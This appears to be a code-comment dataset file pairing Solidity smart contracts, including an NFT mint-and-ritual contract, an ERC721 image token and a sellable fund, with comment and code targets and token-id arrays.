returns(uint256); } interface Superlative { function ownerOf(uint256 token) external view returns(address); function tokenOfOwnerByIndex(address inhabitant, uint256 index) external view returns(uint256); function balanceOf(address inhabitant) external view returns(uint256); } // The runes contract is used to burn for sacrifices and update balances on transfers interface IRunes { function burn(address inhabitant, uint256 cost) external; function updateRunes(address from, address to) external; } // Allows us to mint with $LOOKS instead of ETH interface Looks { function transferFrom(address from, address to, uint256 amount) external; function balanceOf(address owner) external view returns(uint256); } /* * o . ___---___ . * . .--\ --. . . . * ./.;_.\ __/~ \. * /; / `-' __\ . \ * . . / ,--' / . .; \ | * | .| / __ | -O- . * |__/ __ | . ; \ | . | | * | / \\_ . ;| \___| * . o | \ .~\\___,--' | . * | | . ; ~~~~\_ __| * | \ \ . . ; \ /_/ . * -O- . \ / . | ~/ . * | . ~\ \ . / /~ o * . ~--___ ; ___--~ * . --- . MYSTERIOUS WORLD */ contract MysteriousWorld is ERC721, Ownable { using Address for address; using Counters for Counters.Counter; Counters.Counter private Population; Counters.Counter private sacrificed; // tracks the amount of rituals performed Counters.Counter private sacred; // tracks the 1/1s created from rituals Creature public creature; Superlative public superlative; IRunes public runes; Looks public looks; string private baseURI; uint256 constant public maxInhabitants = 6666; uint256 constant public maxRituals = 3333; // max amount of rituals that can be performed uint256 constant public teamInhabitants = 66; // the amount of inhabitants that will be reserved to the teams wallet uint256 constant public maxWInhabitants = 900; // the amount of free inhabitants given to the community uint256 constant public maxFInhabitants = 100; // the amount of free inhabitants given to holders of superlative & creatureworld - fcfs basis uint256 constant public maxPerTxn = 6; uint256 public whitelistInhabitantsClaimed; // tracks the amount of mints claimed from giveaway winners uint256 public freeInhabitantsClaimed; // tracks the amount of free mints claimed from superlative & creatureworld holders uint256 public teamInhabitantsClaimed; // tracks the amount reserved for the team wallet uint256 public saleActive = 0; // the period for when public mint starts uint256 public claimActive = 0; // the period for free mint claiming - once the claimActive timestamp is reached, remaing supply goes to public fcfs uint256 public mintPrice = 0.06 ether; uint256 public ritualPrice = 100 ether; // base price for rituals is 100 $RUNES uint256 public ritualRate = 0.5 ether; // the rate increases the ritualPrice by the amount of rituals performed address public ritualWallet; // where the ritualized tokens go when u perform a ritual on them uint256 public looksPrice = 37 ether; // will be updated once contract is deployed if price difference is to high address public looksWallet; bool public templeAvailable = false; // once revealed, the temple will be available for rituals to be performed mapping(uint256 => bool) public ritualizedInhabitants; // tracks the tokens that survived the ritual process mapping(uint256 => bool) public uniqueInhabitants; // tracks the tokens that became gods mapping(address => uint256) public claimedW; // tracks to see what wallets claimed their whitelisted free mints mapping(address => uint256) public claimedF; // tracks to see what wallets claimed the free mints for the superlative & creatureworld event performRitualEvent(address caller, uint256 vessel, uint256 sacrifice); event performSacredRitualEvent(address caller, uint256 vessel, uint256 sacrifice); /* * # isTempleOpen * only allows you to perform a ritual if its enabled - this will be set after reveal */ modifier isTempleOpen() { require(templeAvailable, "The temple is not ready yet"); _; } /* * # inhabitantOwner * checks if you own the tokens your sacrificing */ modifier inhabitantOwner(uint256 inhabitant) { require(ownerOf(inhabitant) == msg.sender, "You can't use another persons inhabitants"); _; } /* * # ascendedOwner * checks if the inhabitant passed is ascended */ modifier ascendedOwner(uint256 inhabitant) { require(ritualizedInhabitants[inhabitant], "This inhabitant needs to sacrifice another inhabitant to ascend"); _; } /* * # isSaleActive * allows inhabitants to be sold... */ modifier isSaleActive() { require(block.timestamp > saleActive, "Inhabitants aren't born yet"); _; } /* * # isClaimActive * allows inhabitants to be taken for free... use this for the greater good */ modifier isClaimActive() { require(block.timestamp < claimActive, "All inhabitants are gone"); _; } constructor(address burner, address rare) ERC721("The Mysterious World", "The Mysterious World") { ritualWallet = burner; looksWallet = rare; } /* * # getAmountOfCreaturesHeld * returns the total amount of creature world nfts a wallet holds */ function getAmountOfCreaturesHeld(address holder) public view returns(uint256) { return creature.balanceOf(holder); } /* * # getAmountOfSuperlativesHeld * returns the total amount of superlatives nfts a wallet holds */ function getAmountOfSuperlativesHeld(address holder) public view returns(uint256) { return superlative.balanceOf(holder); } /* * # checkIfClaimedW * checks if the giveaway winners minted their tokens */ function checkIfClaimedW(address holder) public view returns(uint256) { return claimedW[holder]; } /* * # checkIfClaimedF * checks if the superlative and creature holders minted their free tokens */ function checkIfClaimedF(address holder) public view returns(uint256) { return claimedF[holder]; } /* * # addWhitelistWallets * adds the addresses to claimedW while setting the amount each address can claim */ function addWhitelistWallets(address[] calldata winners) external payable onlyOwner { for (uint256 wallet;wallet < winners.length;wallet++) { claimedW[winners[wallet]] = 1; } } /* * # mint * mints a inhabitant - godspeed */ function mint(uint256 amount) public payable isSaleActive { require(tx.origin == msg.sender, "Can't mint from other contracts!"); require(amount > 0 && amount <= maxPerTxn, "Your amount must be between 1 and 6"); if (block.timestamp <= claimActive) { require(Population.current() + amount <= (maxInhabitants - (maxWInhabitants + maxFInhabitants)), "Not enough inhabitants for that"); } else { require(Population.current() + amount <= maxInhabitants, "Not enough inhabitants for that"); } require(mintPrice * amount == msg.value, "Mint Price is not correct"); for (uint256 i = 0;i < amount;i++) { _safeMint(msg.sender, Population.current()); Population.increment(); } } /* * # mintWhitelist * mints a free inhabitant from the whitelist wallets */ function mintWhitelist() public payable isSaleActive isClaimActive { uint256 currentInhabitants = Population.current(); require(tx.origin == msg.sender, "Can't mint from other contracts!"); require(currentInhabitants + 1 <= maxInhabitants, "No inhabitants left"); require(whitelistInhabitantsClaimed + 1 <= maxWInhabitants, "No inhabitants left"); require(claimedW[msg.sender] == 1, "You don't have permission to be here outsider"); _safeMint(msg.sender, currentInhabitants); Population.increment(); claimedW[msg.sender] = 0; whitelistInhabitantsClaimed++; delete currentInhabitants; } /* * # mintFList * mints a free inhabitant if your holding a creature world or superlative token - can only be claimed once fcfs */ function mintFList() public payable isSaleActive isClaimActive { uint256 currentInhabitants = Population.current(); require(tx.origin == msg.sender, "Can't mint from other contracts!"); require(currentInhabitants + 1 <= maxInhabitants, "No inhabitants left"); require(freeInhabitantsClaimed + 1 <= maxFInhabitants, "No inhabitants left"); require(getAmountOfCreaturesHeld(msg.sender) >= 1 || getAmountOfSuperlativesHeld(msg.sender) >= 1, "You don't have permission to be here outsider"); require(claimedF[msg.sender] < 1, "You already took a inhabitant"); _safeMint(msg.sender, currentInhabitants); Population.increment(); claimedF[msg.sender] = 1; freeInhabitantsClaimed++; delete currentInhabitants; } /* * # mintWithLooks * allows you to mint with $LOOKS token - still need to pay gas :( */ function mintWithLooks(uint256 amount) public payable isSaleActive { uint256 currentInhabitants = Population.current(); require(tx.origin == msg.sender, "Can't mint from other contracts!"); require(amount > 0 && amount <= maxPerTxn, "Your amount must be between 1 and 6"); if (block.timestamp <= claimActive) { require(currentInhabitants + amount <= (maxInhabitants - (maxWInhabitants + maxFInhabitants)), "Not enough inhabitants for that"); } else { require(currentInhabitants + amount <= maxInhabitants, "Not enough inhabitants for that"); } require(looks.balanceOf(msg.sender) >= looksPrice * amount, "Not enough $LOOKS to buy a inhabitant"); looks.transferFrom(msg.sender, looksWallet, looksPrice * amount); for (uint256 i = 0;i < amount;i++) { _safeMint(msg.sender, currentInhabitants + i); Population.increment(); } delete currentInhabitants; } /* * # reserveInhabitants * mints the amount provided for the team wallet - the amount is capped by teamInhabitants */ function reserveInhabitants(uint256 amount) public payable onlyOwner { uint256 currentInhabitants = Population.current(); require(teamInhabitantsClaimed + amount < teamInhabitants, "We've run out of inhabitants for the team"); for (uint256 i = 0;i < amount;i++) { _safeMint(msg.sender, currentInhabitants + i); Population.increment(); teamInhabitantsClaimed++; } delete currentInhabitants; } /* * # performRitual * performing the ritual will burn one of the tokens passed and upgrade the first token passed. upgrading will * change the metadata of the image and add to the sacrifice goals for the project. */ function performRitual(uint256 vessel, uint256 sacrifice) public payable inhabitantOwner(vessel) inhabitantOwner(sacrifice) isTempleOpen { require(vessel != sacrifice, "You can't sacrifice the same inhabitants"); require(!ritualizedInhabitants[vessel] && !ritualizedInhabitants[sacrifice], "You can't sacrifice ascended inhabitants with those of the lower class"); // burn the $RUNES and transfer the sacrificed token to the burn wallet runes.burn(msg.sender, ritualPrice + (ritualRate * sacrificed.current())); safeTransferFrom(msg.sender, ritualWallet, sacrifice, ""); // track the tokens that ascended & add to the global goal sacrificed.increment(); ritualizedInhabitants[vessel] = true; emit performRitualEvent(msg.sender, vessel, sacrifice); } /* * # performSacredRight * this is performed during the 10% sacrifical goals for the 1/1s. check the utility page for more info */ function performSacredRitual(uint256 vessel, uint256 sacrifice) public payable inhabitantOwner(vessel) inhabitantOwner(sacrifice) ascendedOwner(vessel) ascendedOwner(sacrifice) isTempleOpen { uint256 currentGoal = 333 * sacred.current(); // 10% of maxRituals require(vessel != sacrifice, "You can't sacrifice the same inhabitants"); require(sacrificed.current() >= currentGoal, "Not enough sacrifices to discover a God!"); // burn the $RUNES and transfer the sacrificed token to the burn wallet runes.burn(msg.sender, ritualPrice + (ritualRate * sacrificed.current())); safeTransferFrom(msg.sender, ritualWallet, sacrifice, ""); ritualizedInhabitants[vessel] = false; uniqueInhabitants[vessel] = true; sacrificed.increment(); sacred.increment(); emit performSacredRitualEvent(msg.sender, vessel, sacrifice); } /* * # getCaptives * returns all the tokens a wallet holds */ function getCaptives(address inhabitant) public view returns(uint256[] memory) { uint256 population = Population.current(); uint256 amount = balanceOf(inhabitant); uint256 selector = 0; uint256[] memory inhabitants = new uint256[](amount); for (uint256 i = 0;i < population;i++) { if (ownerOf(i) == inhabitant) { inhabitants[selector] = i; selector++; } } return inhabitants; } /* * # totalSupply */ function totalSupply() external view returns(uint256) { return Population.current(); } /* * # getSacrificed */ function getSacrificed() external view returns(uint256) { return sacrificed.current(); } /* * # getSacred */ function getSacred() external view returns(uint256) { return sacred.current(); } /* * # _baseURI */ function _baseURI() internal view override returns (string memory) { return baseURI; } /* * # setBaseURI */ function setBaseURI(string memory metadataUrl) public payable onlyOwner { baseURI = metadataUrl; } /* * # withdraw * withdraws the funds from the smart contract to the owner */ function withdraw() public payable onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); delete balance; } /* * # setSaleSettings * sets the drop time and the claimimg time */ function setSaleSettings(uint256 saleTime, uint256 claimTime) public payable onlyOwner { saleActive = saleTime; claimActive = claimTime; } /* * # setMintPrice * sets the mint price for the sale incase we need to change it */ function setMintPrice(uint256 price) public payable onlyOwner { mintPrice = price; } /* * # setLooksPrice * sets the price of $LOOKS to mint with incase we need to set it multiple times */ function setLooksPrice(uint256 price) public payable onlyOwner { looksPrice = price; } /* * # setRitualSettings * allows us to change the ritual price, rate, and whether ritual is enabled or not */ function setRitualSettings(uint256 price, uint256 rate, bool available) public payable onlyOwner { ritualPrice = price; ritualRate = rate; templeAvailable = available; } /* * # setCollectionInterfaces * sets the interfaces for creatureworld, superlative, and runes */ function setCollectionInterfaces(address creatureContract, address superlativeContract, address runesContract, address looksContract) public payable onlyOwner { creature = Creature(creatureContract); superlative = Superlative(superlativeContract); runes = IRunes(runesContract); looks = Looks(looksContract); } /* * # transferFrom */ function transferFrom(address from, address to, uint256 inhabitant) public override { runes.updateRunes(from, to); ERC721.transferFrom(from, to, inhabitant); } /* * # safeTransferFrom */ function safeTransferFrom(address from, address to, uint256 inhabitant) public override { safeTransferFrom(from, to, inhabitant, ""); } function safeTransferFrom(address from, address to, uint256 inhabitant, bytes memory data) public override { runes.updateRunes(from, to); ERC721.safeTransferFrom(from, to, inhabitant, data); } }
tracks the amount of free mints claimed from superlative & creatureworld holders
uint256 public freeInhabitantsClaimed;
15,317,105
[ 1, 21499, 326, 3844, 434, 4843, 312, 28142, 7516, 329, 628, 2240, 80, 1535, 473, 1519, 1231, 18179, 366, 4665, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 4843, 382, 76, 30258, 4388, 9762, 329, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import "openzeppelin-solidity/contracts/token/ERC721/ERC721Token.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "openzeppelin-solidity/contracts/lifecycle/Pausable.sol"; /** * @title ImageToken (ERC721) */ contract ImageToken is ERC721Token, Pausable { /** @dev use SafeMath libarary to prevent from overflow */ using SafeMath for uint256; /** * @title ImageToken Data * @dev This is mapped by tokenId */ struct ITData { string imageName; string imageURL; } /** @dev mapping from tokenId to ITData */ mapping(uint256 => ITData) public tokenIdToITData; /** * @dev Initialize ERC721Token * @param _name Token Name of ImageToken (ERC721). * @param _symbol Token Symbol of ImageToken (ERC721). */ constructor(string _name, string _symbol) ERC721Token(_name, _symbol) public {} /** * @param _imageName image name which will be binded to tokenId. * @param _imageURL image URL which will be binded to tokenId. */ function mint(string _imageName, string _imageURL) public whenNotPaused { // calculate tokenId by incrementing uint256 tokenId = totalSupply().add(1); // "to" stands for token owner. token owner is sender of this transaction address to = msg.sender; // mint token _mint(to, tokenId); // map Image Data to tokenId tokenIdToITData[tokenId] = ITData({ imageName: _imageName, imageURL: _imageURL }); } }
* @dev mapping from tokenId to ITData */
mapping(uint256 => ITData) public tokenIdToITData;
13,099,074
[ 1, 6770, 628, 1147, 548, 358, 24142, 751, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 11890, 5034, 516, 24142, 751, 13, 1071, 1147, 28803, 1285, 751, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.8; import 'zeppelin/ownership/Ownable.sol'; import 'zeppelin/token/ERC20.sol'; // This contract is a simple fund that is owned by another address. // Any ERC20 tokens that are owned by this contract can be withdrawn to the owner. // The original owner can sell it to another owner by accepting a specified amount of ETH. // The current owner can set the price to 0 to mark it as "not for sale" or any price above 0 to allow someone to buy. contract SellableFund is Ownable { // Price required to purchase fund - 0 means "not for sale" uint public salePrice; // Constructor sets the price someone will need to pa to take ownership function SellableFund(uint originalSalePrice){ salePrice = originalSalePrice; } // Allow the current owner to withdraw any tokens that are owned by this contract. function withdrawToken(ERC20 ownedToken, uint value) onlyOwner { if(!ownedToken.transfer(owner, value)){ throw; } } // Allow anyone to purchase this fund if they pay the price and make them update the price. function purchase() payable { // If the salePrice is set to 0, block anyone from purchasing it as it is not for sale. if(salePrice == 0){ throw; } // If the amount of ETH sent in is not enough to cover the cost, reject it if(msg.value < salePrice){ throw; } // Update the sale price to 0 so that it is not for sale until the current owner updates it salePrice = 0; // Grab the old owner address to know where to send the payment address previousOwner = owner; // Update the owner of the fund to the purchaser owner = msg.sender; // Send ETH to previousOwner to finalize the purchase if(!previousOwner.send(msg.value)){ throw; } } // Allow the current owner to update the sale price - set to 0 to prevent purchases function updatePrice(uint newSalePrice) onlyOwner { salePrice = newSalePrice; } }
Grab the old owner address to know where to send the payment
address previousOwner = owner;
12,538,222
[ 1, 14571, 70, 326, 1592, 3410, 1758, 358, 5055, 1625, 358, 1366, 326, 5184, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1377, 1758, 2416, 5541, 273, 3410, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0xc1b59cc9253ee4Bf30e12c6d06A101401c5470d8/sources/ExchangeV1.sol
Sig calldata buyerFeeSig,validateOrderSig(order, sig);validateBuyerFeeSig(order, buyerFee, buyerFeeSig);
function exchange4( Order calldata order, Sig calldata sig, uint buyerFee, uint amount, address buyer ) payable external { uint paying = order.buying.mul(amount).div(order.selling); verifyOpenAndModifyOrderState(order.key, order.selling, amount); require(order.key.sellAsset.assetType != AssetType.ETH, "ETH is not supported on sell side"); if (order.key.buyAsset.assetType == AssetType.ETH) { validateEthTransfer(paying, buyerFee); } FeeSide feeSide = getFeeSide(order.key.sellAsset.assetType, order.key.buyAsset.assetType); if (buyer == address(0x0)) { buyer = msg.sender; } transferWithFeesPossibility(order.key.sellAsset, amount, order.key.owner, buyer, feeSide == FeeSide.SELL, buyerFee, order.sellerFee, order.key.buyAsset); transferWithFeesPossibility(order.key.buyAsset, paying, msg.sender, order.key.owner, feeSide == FeeSide.BUY, order.sellerFee, buyerFee, order.key.sellAsset); emitBuy(order, amount, buyer); }
8,560,901
[ 1, 8267, 745, 892, 27037, 14667, 8267, 16, 5662, 2448, 8267, 12, 1019, 16, 3553, 1769, 5662, 38, 16213, 14667, 8267, 12, 1019, 16, 27037, 14667, 16, 27037, 14667, 8267, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7829, 24, 12, 203, 3639, 4347, 745, 892, 1353, 16, 203, 3639, 21911, 745, 892, 3553, 16, 203, 3639, 2254, 27037, 14667, 16, 203, 3639, 2254, 3844, 16, 203, 3639, 1758, 27037, 203, 565, 262, 8843, 429, 3903, 288, 203, 3639, 2254, 8843, 310, 273, 1353, 18, 70, 9835, 310, 18, 16411, 12, 8949, 2934, 2892, 12, 1019, 18, 87, 1165, 310, 1769, 203, 3639, 3929, 3678, 1876, 11047, 2448, 1119, 12, 1019, 18, 856, 16, 1353, 18, 87, 1165, 310, 16, 3844, 1769, 203, 3639, 2583, 12, 1019, 18, 856, 18, 87, 1165, 6672, 18, 9406, 559, 480, 10494, 559, 18, 1584, 44, 16, 315, 1584, 44, 353, 486, 3260, 603, 357, 80, 4889, 8863, 203, 3639, 309, 261, 1019, 18, 856, 18, 70, 9835, 6672, 18, 9406, 559, 422, 10494, 559, 18, 1584, 44, 13, 288, 203, 5411, 1954, 41, 451, 5912, 12, 10239, 310, 16, 27037, 14667, 1769, 203, 3639, 289, 203, 3639, 30174, 8895, 14036, 8895, 273, 2812, 1340, 8895, 12, 1019, 18, 856, 18, 87, 1165, 6672, 18, 9406, 559, 16, 1353, 18, 856, 18, 70, 9835, 6672, 18, 9406, 559, 1769, 203, 3639, 309, 261, 70, 16213, 422, 1758, 12, 20, 92, 20, 3719, 288, 203, 5411, 27037, 273, 1234, 18, 15330, 31, 203, 3639, 289, 203, 3639, 7412, 1190, 2954, 281, 1616, 17349, 12, 1019, 18, 856, 18, 87, 1165, 6672, 16, 3844, 16, 1353, 18, 856, 18, 8443, 16, 27037, 16, 14036, 8895, 422, 30174, 8895, 18, 1090, 4503, 16, 27037, 14667, 16, 1353, 2 ]
./full_match/1/0x4637EAef1d9488955cBf08376bb3BE0F2371A58F/sources/BancorArbitrage/contracts/token/TokenLibrary.sol
* @dev compares between a token and another raw ERC20 token/
function isEqual(Token token, IERC20 erc20Token) internal pure returns (bool) { return toIERC20(token) == erc20Token; }
16,488,632
